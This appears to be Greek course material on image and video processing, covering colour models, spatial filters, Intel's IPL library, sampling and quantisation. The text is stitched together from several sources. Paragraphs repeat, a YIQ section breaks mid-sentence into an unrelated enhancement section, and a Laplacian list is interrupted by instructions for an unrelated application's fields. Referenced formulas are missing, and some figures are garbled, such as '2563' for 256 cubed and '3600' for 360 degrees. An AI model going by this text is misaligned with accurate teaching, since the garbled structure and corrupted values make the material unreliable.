Η λαμπρότητα είναι ένα υποκειμενικό μέγεθος το οποίο πρακτικά είναι αδύνατο να υπολογισθεί. Ενσωματώνει την αχρωματική έννοια της έντασης του φωτός (intensity).Η απόχρωση αντιπροσωπεύει το υπερισχύον χρώμα που εκλαμβάνεται από ένα παρατηρητή. Η χρωματική καθαρότητα αναφέρεται στη σχετική αγνότητα ή στο ποσό του λευκού φωτός όταν αυτό αναμιγνύεται με μια απόχρωση. Π.χ.: το κόκκινο έχει πλήρη χρωματική καθαρότητα, ενώ το ροζ (κόκκινο και άσπρο) έχει μικρότερη χρωματική καθαρότητα.

Μοντέλο RGB: Το μοντέλο αυτό απλοποιεί αρκετά την σχεδίαση γραφικών συστημάτων, αλλά δημιουργεί δυσκολίες στην ανάπτυξη αλγορίθμων λόγω της συσχέτισης των χρωματικών συνιστωσών του. Για παράδειγμα η εξισορρόπηση ιστογράμματος λειτουργεί

μόνο επί της φωτεινότητας μίας εικόνας και πραγματοποιείται πιο εύκολα στο μοντέλο HSI. Έτσι πολλές φορές είναι η αναγκαία η μετατροπή ενός χρωματικού μοντέλου σε ένα άλλο. Χρησιμοποιείται συνήθως σε έγχρωμες οθόνες και κάμερες.

Μοντέλο CMY ή CMYK: Το μοντέλο αυτό ορίζεται από τα χρώματα κυανό (πράσινο και μπλε) ή (Cyan), ματζέντα (κόκκινο και μπλε) ή (Magenta), κίτρινο (κόκκινο και πράσινο) ή (Yellow) τα οποία είναι συμπληρωματικά των χρωμάτων RGB. Χρησιμοποιείται συνήθως σε έγχρωμους εκτυπωτές. Η μετατροπή μεταξύ των δύο συστημάτων γίνεται ως εξής: C=1-R M=1-G

(1.12)

Y=1-B

Εάν σε αυτό το σύστημα προστεθεί και το μαύρο, προκύπτει το CMYK, το οποίο παρέχει στις εκτυπώσεις καλύτερο μαύρο από εκείνο το οποίο παράγει ο συνδυασμός των τριών χρωμάτων. Η μετατροπή από το CMY στο CMYK και αντίστροφα γίνεται με αφαίρεση ή πρόσθεση του μαύρου στα βασικά χρώματα αντίστοιχα.

Με επιλογή κατάλληλης µάσκας µπορούµε να πάρουµε τα ίδια αποτελέσµατα που θα είχαµε µε ένα χαµηλοπερατό ή υψηλοπερατό φίλτρο στο πεδίο των συχνοτήτων. Μια απλή χρήση ενός χαµηλοπερατού φίλτρου είναι η αποµάκρυνση θορύβου υψηλών συχνοτήτων (κρουστικού) και ενός υψηλοπερατού φίλτρου η ανίχνευση ακµών.

Το φίλτρο µέσου όρου χρησιµοποιείται για την αποµάκρυνση κρουστικού θορύβου από µια εικόνα. Σε κάθε εικονοστοιχείο της αρχικής εικόνας εφαρµόζουµε µια τετράγωνη µάσκα µεγέθους NxΝ µε τιµές 1/(ΝxΝ). Έτσι επιτυγχάνεται η αποµάκρυνση του θορύβου, ταυτόχρονα όµως προκαλείται θάµπωµα στην εικόνα ανάλογο του Ν. Για το λόγο αυτό αναφέρεται και ως φίλτρο θαµπώµατος (‘Blur’). Ανάλογα αποτελέσµατα µπορούµε να επιτύχουµε στο πεδίο των συχνοτήτων µε χρήση χαµηλοπερατού φίλτρου.

Σε αυτή την παράγραφο παρουσιάζονται όλα τα φίλτρα επεξεργασίας εικόνας που υποστηρίζονται από την εφαρµογή. Το αποτέλεσµα της εφαρµογής του κάθε φίλτρου πάνω σε ένα καρέ από το βίντεο εισόδου έχουν ήδη παρουσιαστεί

1. Η µοναδική επιλογή που θέτουµε είναι η τιµή του κατωφλίου. Η τιµή αυτή πρέπει να είναι µεταξύ του 0 και του 255. 2. Στο πρώτο πλαίσιο επιλέγουµε την αριθµητική πράξη που θέλουµε να εκτελέσουµε: •

Add - Πρόσθεση

•

Subtract - Αφαίρεση

•

Multiply - Πολλαπλασιασµός

•

Multiply & Scale - Πολ/σµός µε κλίµακα

•

Square - Τετράγωνο

Στο πεδίο “Value” θέτουµε τον δεύτερο τελεστέο της πράξης. Στην περίπτωση της αφαίρεσης µπορούµε να αφαιρέσουµε τις τιµές των εικονοστοιχείων της εικόνας από το Value επιλέγοντας το “Flip”. 3. Στο πρώτο πλαίσιο επιλέγουµε την αριθµητική πράξη που θέλουµε να εκτελέσουµε όπως και στην περίπτωση των αριθµητικών πράξεων µε µια εικόνα. Στο πεδίο “Filename” εισάγουµε το όνοµα του αρχείου εικόνας που θα αποτελέσει τον δεύτερο τελεστέο της αριθµητικής πράξης. Με το πλήκτρο “Browse” µπορούµε να εντοπίσουµε το αρχείο αυτό στο δίσκο. 4. Στο πρώτο πλαίσιο επιλέγουµε την λογική πράξη που θέλουµε να εκτελέσουµε: •

AND - Λογικό ΚΑΙ

•

OR - Λογικό Η’

•

XOR - Αποκλειστικό Η’

Στο πεδίο “Filename” εισάγουµε το όνοµα του αρχείου εικόνας που θα αποτελέσει τον δεύτερο τελεστέο της λογικής πράξης. Με το πλήκτρο “Browse” µπορούµε να εντοπίσουµε το αρχείο αυτό στο δίσκο 5. Στο πρώτο πλαίσιο γίνεται επιλογή του µεγέθους της γειτονίας. Στο πεδίο “Columns” επιλέγουµε το πλάτος της και στο “Rows” το ύψος της. Με τα πεδία “X” και “Y” επιλέγουµε πιθανή µετακίνηση της τελικής εικόνας. Συνέλιξη. Στα εννέα µικρά τετράγωνα του πλαισίου “Convolution Kernel” επιλέγουµε την µάσκα του συγκερασµού. Πατώντας το πλήκτρο “Create Kernel” οριστικοποιούµε τις αλλαγές µας.

Μέχρι τώρα έχει γίνει αναφορά µόνο σε ασπρόµαυρες εικόνες. Σε αυτήν την παράγραφο θα παρουσιαστεί ο τρόπος αποθήκευσης και επεξεργασίας έγχρωµης εικόνας και των καρέ του βίντεο γενικότερα. Θα γίνει αναφορά στα χρωµατικά µοντέλα RGB, ΥΙQ και HSV που είναι από τα πλέον χρησιµοποιούµενα στην επεξεργασία εικόνας καθώς και στον τρόπο µετατροπής µιας RGB εικόνας σε ασπρόµαυρη εικόνα έντασης.

Ο όρος χρωµατικό µοντέλο χρησιµοποιείται για να περιγράψει ένα τρόπο κωδικοποίησης της χρωµατικής πληροφορίας σε µια εικόνα. Γενικά ένα χρωµατικό µοντέλο ορίζει ένα σύστηµα συντεταγµένων και έναν υποχώρο µέσα σε αυτό όπου κάθε χρώµα αναπαρίσταται σε ένα µοναδικό σηµείο [2]. Υπάρχουν πολλά χρωµατικά µοντέλα και κάθε ένα από αυτά έχει ως στόχο να εξυπηρετήσει τις διαφορετικές ανάγκες συστηµάτων και εφαρµογών που χρησιµοποιούν χρώµα.

Η IPL (Image Processing Library) είναι µια βιβλιοθήκη επεξεργασίας εικόνας που έχει αναπτυχθεί από την Intel. Οι συναρτήσεις της είναι βελτιστοποιηµένες για τους επεξεργαστές της Intel και εκµεταλλεύονται τον παραλληλισµό που προσφέρουν οι τελευταίες γενεές αυτών µέσω των εντολών SIMD (Single-Instruction, Multiple- Data). Έτσι έχουν πολύ αυξηµένη απόδοση στους επεξεργαστές αυτούς ενώ παράλληλα διατηρούν και προς τα πίσω συµβατότητα αφού µπορούν να εκτελεστούν και σε παλαιότερους.

Η βιβλιοθήκη δεν υποστηρίζει τους διάφορους γνωστούς τύπους εικόνας (JPG, GIF,TIFF κλπ.) για ανάγνωση και επεξεργασία. Ο µοναδικός τύπος εικόνας που υποστηρίζεται άµεσα είναι τα DIB µε βάθος χρώµατος 24bit. Η βιβλιοθήκη ορίζει έναν δικό της τύπο δεδοµένων την εικόνα IPL και όλες οι συναρτήσεις της χρησιµοποιούν αυτόν για είσοδο και έξοδο. Παρέχονται εκτός των άλλων και συναρτήσεις µετατροπής εικόνων DIB σε IPL καθώς και το αντίστροφο, εικόνων IPL σε DIB. Η βιβλιοθήκη είναι φτιαγµένη για τα λειτουργικά συστήµατα της Microsoft: Windows 95/98/NT. Μπορεί να ενσωµατωθεί σε προγράµµατα που έχουν φτιαχτεί σε C ή C++.

Μια εικόνα στην IPL έχει µια επικεφαλίδα η οποία την περιγράφει σαν µια λίστα από ιδιότητες και δείκτες σε δεδοµένα που σχετίζονται µε αυτήν. Οι συναρτήσεις της βιβλιοθήκης

χρησιµοποιούν αυτήν την επικεφαλίδα για να λάβουν τα χαρακτηριστικά της εικόνας και τη διεύθυνση των δεδοµένων της για να τα επεξεργαστούν αναλόγως. Γενικά µια εικόνα IPL µπορεί να έχει πολλές µορφές και διαφορετικούς τύπους οργάνωσης των εσωτερικών δεδοµένων της. Αυτό συµβαίνει για πολλούς λόγους. Καταρχάς υποστηρίζονται πολλά διαφορετικά χρωµατικά µοντέλα όπως RGB, RGBA, CMYK, HSV κλπ. µε διαφορετικό πλήθος καναλιών το καθένα (Για παράδειγµα το RGB έχει τρία ενώ το CMYK τέσσερα). Επίσης το βάθος χρώµατος δεν είναι το ίδιο σε κάθε εικόνα, όπως και η σειρά εµφάνισης τους.

H IPL περιλαµβάνει µια µεγάλη σειρά από φίλτρα και συναρτήσεις επεξεργασίας εικόνας. Καταρχάς παρέχει πλήρη υποστήριξη όλων των τεχνικών που παρουσιάστηκαν στο πρώτο µέρος.

Μοντέλο HSI: Το μοντέλο αυτό αποτελείται από τα τρία χαρακτηριστικά του χρώματος, την απόχρωση ή Hue, την καθαρότητα ή Saturation, τη φωτεινότητα ή Intensity. Σε αυτό το σύστημα δεν χρειάζεται η αναλογία των RGB, αλλά το χρώμα καθορίζεται από τη μεταβολή του Η. Η μεταβολή του S δίνει διαφορετική καθαρότητα στο ίδιο χρώμα. Για παράδειγμα το σκούρο κόκκινο μπορεί να γίνει ροζ με μεταβολή του S. Τέλος το Ι καθορίζει τη φωτεινότητα. Στο μοντέλο HIS, το Η είναι γωνία 0 έως 3600 , το S είναι ακτίνα 0 έως 1 και το Ι είναι ο άξονας z με τιμές 0 για το μαύρο και 1 για το άσπρο.

Μοντέλο YCbCr: Το μοντέλο αυτό διαχωρίζει τη φωτεινότητα (Υ) από την πληροφορία του χρώματος (μπλε και κόκκινο - CbCr). Η μετατροπή από το RGB δίνεται από: Y = 0.29900R + 0.58700G + 0.11400B Cb = -0.16874R - 0.33126G + 0.50000B (1.13) Cr = 0.50000R - 0.41869G - 0.08131B Αντίστροφα: R = 1.00000Y + 1.40200Cr G = 1.00000Y - 0.34414Cb - 0.71414Cr (1.14) B = 1.00000Y + 1.77200Cb

Μοντέλο YIQ: Τα βασικά χαρακτηριστικά αυτού του μοντέλου είναι η φωτεινότητα (Υ), η απόχρωση και η χρωματική καθαρότητα (Ι,Q). Χρησιμοποιείται στην έγχρωμη τηλεοπτική μετάδοση. Πρόκειται για μια επανακωδικοποίηση του μοντέλου RGB, για τη βελτιστοποίηση της μετάδοσης και τη συμβατότητα με την ασπρόμαυρη τηλεόραση. Αυτό συμβαίνει γιατί η ασπρόμαυρη τηλεόραση αντιλαμβάνεται μόνο τον παράγοντα Υ της εκπομπής, που αφορά τη φωτεινότητα Ο εμπλουτισμός εικόνας διαπραγματεύεται τους τρόπους βελτίωσης μιας εικόνας, δηλαδή όλες εκείνες τις μεθόδους επεξεργασίας οι οποίες καθιστούν την εικόνα περισσότερο εκμεταλλεύσιμη. Για παράδειγμα, η μεταβολή της φωτεινότητας, η βελτίωση της αντίθεσης, η βελτίωση του λόγου σήμα προς θόρυβο, η μεταβολή της οξύτητας, η μεταβολή του τονισμού μιας εικόνας ή ακόμα η σμίκρυνση, η μεγέθυνση, η περιστροφή είναι αντικείμενα αυτού του κεφαλαίου. Οι διάφορες μέθοδοι που αφορούν στη βελτίωση της ποιότητας μιας εικόνας ομαδοποιούνται σε τρεις βασικές κατηγορίες: τις τεχνικές σημείου ή pixel (point operations), τις τεχνικές στο πεδίο της εικόνας ή χωρικές τεχνικές (spatial operations) και τις τεχνικές στο πεδίο συχνοτήτων (frequency operations) ή στο πεδίο μετασχηματισμού γενικότερα (transform operations).

Πολλές εικόνες έχουν χαμηλή αντίθεση, λόγω κακού φωτισμού λήψης, με αποτέλεσμα το οπτικό αποτέλεσμα να είναι φτωχό. Η εικόνα “forest” μετά από προσαρμογή σε δεδομένο ιστόγραμμα. (α) Αρχική εικόνα. (β) Ιστόγραμμα αρχικής εικόνας. (γ) Εικόνα μετά από περιορισμό των επιπέδων φωτεινότητας. (δ) Ιστόγραμμα νέας εικόνας. (ε) Εικόνα μετά από προσαρμογή ιστογράμματος. (στ) Ιστόγραμμα μετά την προσαρμογή ιστογράμματος.

Η διαδικασία σύμφωνα με την οποία η τιμή κάθε pixel μιας εικόνας μπορεί να τροποποιηθεί σύμφωνα με έναν αλγόριθμο ο οποίος θα επενεργεί στα γειτονικά pixels,του κάθε φορά εξεταζόμενου pixel καλείται χωρικό φιλτράρισμα και μπορεί να είναι γραμμικό ή μη γραμμικό ανάλογα με τη φύση του χρησιμοποιούμενου αλγορίθμου.

Εάν η μάσκα είχε όλους τους συντελεστές ίσους με 1, το Ι1’ ισούται με τη μέση τιμή όλων των γειτονικών pixels του πρώτου pixel της εικόνας εισόδου. Σε αυτή τη διαδικασία, συνήθως

υπάρχει πρόβλημα με τα pixels που ευρίσκονται στα όρια της εικόνας. Μία περίπτωση είναι τα pixels που δεν υπάρχουν να θεωρούνται μηδενικής τιμής (zero padding). Αυτό προφανώς δημιουργεί παραμόρφωση στα όρια της εικόνας. Άλλη περίπτωση είναι η συμμετρική (symmetric padding) ή η περιοδική επέκταση (periodic padding).

Στη πρώτη περίπτωση το γραμμικό φίλτρο καλείται φίλτρο μέσης τιμής (averaging filter), ενώ στη δεύτερη περίπτωση όπου κάποιοι συντελεστές της μάσκας έχουν διαφορετικές τιμές από τη μονάδα, το φίλτρο καλείται ειδικών βαρών μέσης τιμής (weighting average filter). Στο τελευταίο φίλτρο κάποια pixels επιδρούν περισσότερο από άλλα στη διαμόρφωση της μέσης τιμής. Αυτός ο τύπος φίλτρων είναι η συσχέτιση (correlation) της εικόνας εισόδου με την αντίστοιχη μάσκα.

Με το zero padding (προσθήκη μαύρου στα όρια) δημιουργούνται θολές περιοχές μεταξύ άσπρου και μαύρου. Το replicate και το symmetric συμπεριφέρονται ίδια και διορθώνουν το παραπάνω πρόβλημα. Το circular δημιουργεί το ίδιο πρόβλημα με την πρώτη περίπτωση μόνο εκεί που η περιοδικότητα δημιουργεί εναλλαγή άσπρου και μαύρου.

H συνάρτηση του Matlab η οποία παρέχει τη μάσκα που πρόκειται να χρησιμοποιήσει η imfilter είναι: 1.

y = fspecial ( ‘ type ’ , parameters ) Όπου type = average , disk , gaussian , laplacian ,

log , motion , prewitt , sobel , unsharp και parameters είναι οι σταθερές που προσδιορίζουν το συγκεκριμένο τύπο φίλτρου.

2.

Μια συνηθισμένη μέθοδος εμπλουτισμού μιας εικόνας είναι το φιλτράρισμα με

μάσκα Laplacian. Ο τελεστής Laplacian ορίζεται ως εξής. Στο πεδίο “Value” θέτουµε τον δεύτερο τελεστέο της πράξης. Στην περίπτωση της αφαίρεσης µπορούµε να αφαιρέσουµε τις τιµές των εικονοστοιχείων της εικόνας από το Value επιλέγοντας το “Flip”.

3.

Όπου οι δεύτερες παράγωγοι της συνάρτησης f έχουν την εξής μορφή σε διακριτή

μορφή

4.

Η μορφή του σαν πίνακας είναι η εξής:

Η δεύτερη παράγωγος και επομένως ο τελεστής Laplacian αναδεικνύει τις απότομες μεταβολές φωτεινότητας σε μια εικόνα (sharpening) ενώ εξομαλύνει τις περιοχές ομαλής μεταβολής της φωτεινότητας. Η τιμή του τρέχοντος pixel υπολογίζεται με ένα μη γραμμικό τρόπο από τα γειτονικά του pixels. Το πιο γνωστό από αυτά είναι το φίλτρο median, το οποίο υπολογίζει αν τιμή του τρέχοντος pixel τη μεσαία τιμή από τα γειτονικά του. Το φίλτρο αυτό χρησιμοποιείται για την απαλοιφή θορύβου τύπου “salt and pepper”, ο οποίος εμφανίζεται σαν μαύρα και άσπρα σημάδια σε μια εικόνα.

Για την εύρεση της μεσαίας τιμής σε μια γειτονιά 3×3, πρώτα όλα τα στοιχεία ταξινομούνται κατά αύξουσα σειρά και μετά επιλέγεται το πέμπτο κατά σειρά στοιχείο, το οποίο ως μεσαία τιμή τοποθετείται στη θέση του κεντρικού στοιχείου της γειτονιάς. Το φίλτρο αυτό υποχρεώνει τα στοιχεία με διαφορετικότητα να πάρουν τιμή περίπου ίδια με τα γειτονικά τους.

Εκπαιδευτική Υποενότητα 4.2 Ψηφιακή Επεξεργασία Βίντεο Τα βίντεο όπως γνωρίζουµε είναι µια σειρά από εικόνες που διαδέχονται η µια την άλλη. Η διαδοχή αυτή γίνεται αρκετά γρήγορα και µε σταθερό ρυθµό δίνοντας έτσι στο θεατή τους την ψευδαίσθηση της κινούµενης εικόνας. Οι εικόνες από τις οποίες αποτελείται ένα βίντεο ονοµάζονται frames ή καρέ. Μια εικόνα γενικά µπορεί να οριστεί ως µια δισδιάστατη συνάρτηση f(x,y). Τα x και y αποτελούν τις χωρικές συντεταγµένες και η τιµή της f σε ένα σηµείο (x,y) του χώρου ορίζεται ως ένταση της φωτεινότητας στο συγκεκριµένο σηµείο.

Αν τα x, y και f(x,y) µιας εικόνας είναι πεπερασµένες διακριτές τιµές τότε είναι µια ψηφιακή εικόνα. Είναι φανερό λοιπόν ότι µια ψηφιακή εικόνα αποτελείται από ένα πεπερασµένο πλήθος στοιχείων, το καθένα µε συγκεκριµένες συντεταγµένες και τιµή. Τα στοιχεία αυτά ονοµάζονται pixels (Από τις λέξεις “Picture elements”) ή εικονοστοιχεία. Με µια αντίστοιχη θεώρηση µε αυτή που έγινε για τις εικόνες µπορούν να οριστούν και τα βίντεο ως σήµατα τριών διαστάσεων.

Απλά προστίθεται στη συνάρτηση µιας εικόνας f(x,y) µια ακόµα παράµετρος, ο χρόνος t. Ας θεωρήσουµε λοιπόν ότι έχουµε το βίντεο F(x,y,t). Η τιµή της F είναι η φωτεινότητα του εικονοστοιχείου µε χωρικές συντεταγµένες (x,y) στο καρέ t του βίντεο. Τα x και y παίρνουν τιµές από 0 έως το πλάτος και ύψος αντίστοιχα του κάθε καρέ του βίντεο, ενώ ο χρόνος t παίρνει διακριτές τιµές από 0, που αποτελεί το πρώτο καρέ, έως Τ που αποτελεί το τελικό.

Αν η παράµετρος t είναι σταθερή και ίση µε t0, αναφερόµαστε σε ένα συγκεκριµένο καρέ. Έτσι το σήµα F(x,y,t0) µπορούµε να θεωρήσουµε ότι αποτελεί ένα δισδιάστατο σήµα G0(x,y). Αυτό αναπαριστά το συγκεκριµένο καρέ µε αριθµό t0, δηλαδή µία στατική εικόνα. Έτσι µπορούµε να εφαρµόσουµε πάνω στο G0 κάθε γνωστό αλγόριθµο από την επεξεργασία εικόνας. Αυτή είναι γενικά από µαθηµατική πλευρά η διαδικασία µε την οποία προχωράµε στην ψηφιακή επεξεργασία του βίντεο βασιζόµενοι σε τεχνικές της ψηφιακής επεξεργασίας εικόνας.

Όλα τα σήµατα που συναντώνται στη φύση είναι αναλογικά, δηλαδή συνεχή. Προκειµένου όµως να επεξεργαστούµε αναλογικά σήµατα µε ψηφιακά µέσα, όπως ένας υπολογιστής, θα πρέπει προηγουµένως να τα ψηφιοποιήσουµε. Το ίδιο ισχύει για εικόνες και βίντεο. Αν επεξεργαζόµαστε εικόνες αυτό γίνεται σε δυο βήµατα: Το πρώτο είναι η δειγµατοληψία και το δεύτερο η κβάντιση. Αν έχουµε βίντεο απαιτείται να καθοριστεί µια ακόµα παράµετρος, ο αριθµός των καρέ ανά δευτερόλεπτο.

Η δειγµατοληψία ενός µονοδιάστατου συνεχούς σήµατος είναι να πάρουµε έναν αριθµό δειγµάτων του µε σταθερό ρυθµό, δηµιουργώντας έτσι µια σειρά από διακριτές τιµές. Κάθε δείγµα µπορεί να έχει οποιαδήποτε τιµή εντός διαστήµατος αφού και το σήµα από το οποίο προήλθε είναι συνεχές.

Κατά αναλογία µε τα µονοδιάστατα σήµατα, ένα δισδιάστατο σήµα δειγµατοληπτείται βάζοντας ένα “πλέγµα” από τετράγωνα πάνω σε αυτό και ορίζοντας µια τιµή για κάθε ένα από αυτά που εξαρτάται από τις αντίστοιχες τιµές του σήµατος που συναντώνται στην περιοχή του. Αν το δισδιάστατο σήµα είναι µια εικόνα το κάθε ένα από αυτά τα τετράγωνα ονοµάζεται εικονοστοιχείο. Η ψηφιακή εικόνα λοιπόν αποτελείται από έναν δισδιάστατο πίνακα από εικονοστοιχεία.

Η δειγµατοληψία ή αλλιώς ανάλυση µετριέται µε τον αριθµό των εικονοστοιχείων που χρησιµοποιούνται σε κάθε µία από τις διαστάσεις της εικόνας. Για παράδειγµα µια συνήθης τιµή ανάλυσης εικόνας είναι 256x256, που σηµαίνει ότι έχουµε έναν τετράγωνο πίνακα µε 256 στοιχεία σε κάθε διάσταση. Ας θεωρήσουµε ότι έχουµε µια αρχική εικόνα µε ανάλυση 256x256.(Εικόνα)

Αν µειώσουµε την ανάλυση της εικόνας κρατώντας σταθερό το µέγεθος µε το οποίο την απεικονίζουµε είναι εύκολο να διαπιστώσουµε τα αποτελέσµατα που έχει η µειωµένη δειγµατοληψία. Ήδη από την µειωµένη ανάλυση 128x128 γίνεται εµφανές το φαινόµενο της σκακιέρας, γίνονται εµφανή δηλαδή τα εικονοστοιχεία από την οποία αποτελείται η εικόνα. Σε ακόµα µικρότερες αναλύσεις η εικόνα έχει πλέον παραµορφωθεί.

Η κβάντιση αποσκοπεί στην αναπαράσταση των δειγµάτων που έχουν προκύψει από την δειγµατοληψία, που µπορούν να έχουν οποιαδήποτε τιµή, µε ένα πεπερασµένο πλήθος τιµών. Ο πιο συνήθης κβαντιστής είναι ο οµοιόµορφος κβαντιστής. ∆ηλαδή χωρίζουµε το πεδίο τιµών των εικονοστοιχείων σε έναν καθορισµένο αριθµό από ισοαπέχουσες στάθµες Στη συνέχεια κάθε εικονοστοιχείο ανάλογα µε τη τιµή του κατατάσσεται και στην αντίστοιχη στάθµη. Αυτός ο κβαντιστής είναι ο πιο απλός. Έχει τα ίδια χαρακτηριστικά για κάθε εικόνα και δεν λαµβάνει υπ’ όψιν του καθόλου το σφάλµα κβάντισης που υπεισέρχεται. Γενικά ανάλογα µε τις απαιτήσεις της εφαρµογή µπορεί να επιλεγεί κάποιος άλλος κβαντιστής µε διαφορετικά χαρακτηριστικά όπως για παράδειγµα την ελαχιστοποίηση του µέσου τετραγωνικού σφάλµατος κβάντισης που υπεισέρχεται στην εικόνα (Κβαντιστής Loyd-Max). Αναλυτικές πληροφορίες για σχεδίαση κβαντιστών µπορούν να βρεθούν στα [1] και [2]. Το πλήθος των επιπέδων κβάντισης ονοµάζεται και βάθος χρώµατος µιας εικόνας. Αντιπροσωπεύει τον αριθµό των επιπέδων του γκρι αν είναι ασπρόµαυρη ή τον αριθµό των χρωµάτων της αν είναι έγχρωµη. Μετριέται µε τον αριθµό των bits που χρησιµοποιούνται για την αναπαράσταση των χρωµατικών επιπέδων. Για παράδειγµα συναντάµε εικόνες µε βάθος χρώµατος 7-bit ή 8-bit όπου αντίστοιχα έχουµε 128 και 256 χρωµατικές στάθµες.

Κατά την ψηφιοποίηση ενός βίντεο πέρα από την ανάλυση και το βάθος χρώµατος που έχουµε, υπάρχει ακόµα µια πολύ σηµαντική παράµετρος που πρέπει να υπολογίζεται. Η τρίτη παράµετρος είναι ο αριθµός των καρέ ανά δευτερόλεπτο (FPS - Frames Per Sec) που

χρησιµοποιούνται για την ψηφιοποίηση του βίντεο. Η τιµή αυτής της παραµέτρου συνήθως κυµαίνεται ανάµεσα στο 25 και 30 FPS. Τιµές µικρότερες από τα 25 FPS ρίχνουν πολύ την ποιότητα του βίντεο αφού οι εναλλαγές των εικόνων γίνονται αντιληπτές από το ανθρώπινο µάτι.

Αυτό έχει ως αποτέλεσµα µια οµαλή

κίνηση να φαίνεται στο βίντεο σπασµωδική.

Αντίστοιχα τιµές µεγαλύτερες από τα 30 FPS δεν γίνονται αντιληπτές από το ανθρώπινο µάτι. ∆ηλαδή όχι µόνο δεν ανεβάζουν την ποιότητα του βίντεο αλλά αντίθετα µεταφέρουν και µεγάλη πλεονάζουσα πληροφορία που δεν γίνεται αντιληπτή. Για παράδειγµα στο σύστηµα τηλεόρασης NTSC έχουµε 30 FPS ενώ στο PAL έχουµε 25 FPS.

Μέχρι τώρα έχει γίνει αναφορά µόνο σε ασπρόµαυρες εικόνες. Σε αυτήν την παράγραφο θα παρουσιαστεί ο τρόπος αποθήκευσης και επεξεργασίας έγχρωµης εικόνας και των καρέ του βίντεο γενικότερα. Θα γίνει αναφορά στα χρωµατικά µοντέλα RGB, ΥΙQ και HSV που είναι από τα πλέον χρησιµοποιούµενα στην επεξεργασία εικόνας καθώς και στον τρόπο µετατροπής µιας RGB εικόνας σε ασπρόµαυρη εικόνα έντασης. Ο όρος χρωµατικό µοντέλο χρησιµοποιείται για να περιγράψει ένα τρόπο κωδικοποίησης της χρωµατικής πληροφορίας σε µια εικόνα. Γενικά ένα χρωµατικό µοντέλο ορίζει ένα σύστηµα συντεταγµένων και έναν υποχώρο µέσα σε αυτό όπου κάθε χρώµα αναπαρίσταται σε ένα µοναδικό σηµείο [2]. Υπάρχουν πολλά χρωµατικά µοντέλα και κάθε ένα από αυτά έχει ως στόχο να εξυπηρετήσει τις διαφορετικές ανάγκες συστηµάτων και εφαρµογών που χρησιµοποιούν χρώµα.

Στην συνέχεια θα παρουσιάσουµε τα χρωµατικά µοντέλα RGB, YIQ και HSV τα οποία είναι από τα πλέον συχνά χρησιµοποιούµενα στην επεξεργασία εικόνας. Ένα από τα πιο βασικά χρωµατικά µοντέλα είναι το RGB. Τα τρία γράµµατα του ονόµατός του αντιπροσωπεύουν τα τρία βασικά του χρώµατα: Red-Κόκκινο, Green- Πράσινο και Blue-Μπλε. Ορίζει ένα τρισδιάστατο Καρτεσιανό σύστηµα συντεταγµένων όπου κάθε άξονας αντιπροσωπεύει και ένα από τα βασικά του χρώµατα (Σχήµα 3).

Τα χρώµατα όπως αναπαριστούνται στο σχήµα 3 είναι «κανονικοποιηµένα» στο συνεχές διάστηµα [0,1]. Πρακτικά δεν µπορούµε να έχουµε πραγµατικούς αριθµούς για τις

χρωµατικές συνιστώσες οπότε κάνουµε οµοιόµορφη κβάντιση όπως και στην περίπτωση των ασπρόµαυρων εικόνων. Εδώ όµως έχουµε τρία χρωµατικά κανάλια αντί για ένα. Έτσι αν έχουµε µια RGB εικόνα 24bit (που είναι και η πιο συνήθης περίπτωση έγχρωµων εικόνων) σηµαίνει ότι χρησιµοποιούµε 8bit ή 256 στάθµες κβάντισης για το κάθε χρωµατικό κανάλι. Συνολικά δηλαδή µπορούµε να αναπαραστήσουµε 2563 ≈16,7εκατ. διαφορετικά χρώµατα.

Το YIQ χρησιµοποιήθηκε πρωταρχικά στις έγχρωµες τηλεοράσεις προκειµένου να εξασφαλιστεί η προς τα πίσω συµβατότητα µε τις ασπρόµαυρες. Έτσι η πρώτη συνιστώσα του Υ (Luminance) είναι αυτή που χρησιµοποιείται από τις ασπρόµαυρες τηλεοράσεις και αποτελεί τη φωτεινότητα του κάθε pixel. ∆εν περιέχει καθόλου χρωµατική πληροφορία. Αυτή είναι µοιρασµένη στα άλλα δυο κανάλια το Ι (Inphase) και Q (Quadrature). Σχεδιάστηκε για να εκµεταλλεύεται την µεγαλύτερη ευαισθησία του ανθρώπινου µατιού στις αλλαγές της φωτεινότητας σε σχέση µε τις αλλαγές χρώµατος και κορεσµού.

Στο HSV µοντέλο τα τρία κανάλια αντιστοιχούν στις παραµέτρους Hue, Saturation και Value. Η πρώτη παράµετρος εκφράζει το χρώµα ενώ οι άλλες δύο συνδέονται µε την προσθήκη και αφαίρεση άσπρου και µαύρου αντίστοιχα. Το µοντέλο αυτό γεωµετρικά αναπαρίσταται µε µία εξάπλευρη πυραµίδα. Κάθε µια από τις έξι κορυφές της βάσης αντιστοιχεί ένα από τα χρώµατα κόκκινο, κίτρινο, πράσινο κυανό, µπλε και µοβ. Ο προσδιορισµός του Hue γίνεται µε τον υπολογισµό της γωνίας ανάµεσα στην ακτίνα του κόκκινου, που αντιστοιχεί στις 0 µοίρες, και το χρώµα που επιθυµούµε. Το Value εκφράζει την απόσταση του από την βάση της πυραµίδας και το Saturation την απόσταση από τον κεντρικό άξονα της πυραµίδας.

Το χρωµατικό µοντέλο RGB δεν προσφέρει άµεσα τη δυνατότητα να γνωρίζουµε την ένταση της φωτεινότητας ενός εικονοστοιχείου. Μια χρήσιµη διαδικασία λοιπόν, είναι η µετατροπή µιας έγχρωµης RGB εικόνας σε ασπρόµαυρη εικόνα έντασης (Grayscale - Αποχρώσεων του γκρι). Αυτό γίνεται δηµιουργώντας από την εικόνα των τριών καναλιών R, G και B του χρωµατικού µοντέλου RGB µια νέα, ενός µόνο καναλιού Ι (Intensity - Ένταση), που αντιστοιχεί στην φωτεινότητα του εικονοστοιχείου. Η µετατροπή γίνεται παίρνοντας τον µέσο όρο των τιµών των τριών καναλιών: Η διαδικασία αυτή προφανώς δεν είναι δυνατό να αντιστραφεί. Όλη η χρωµατική πληροφορία της εικόνας χάνεται µετά την µετατροπή.

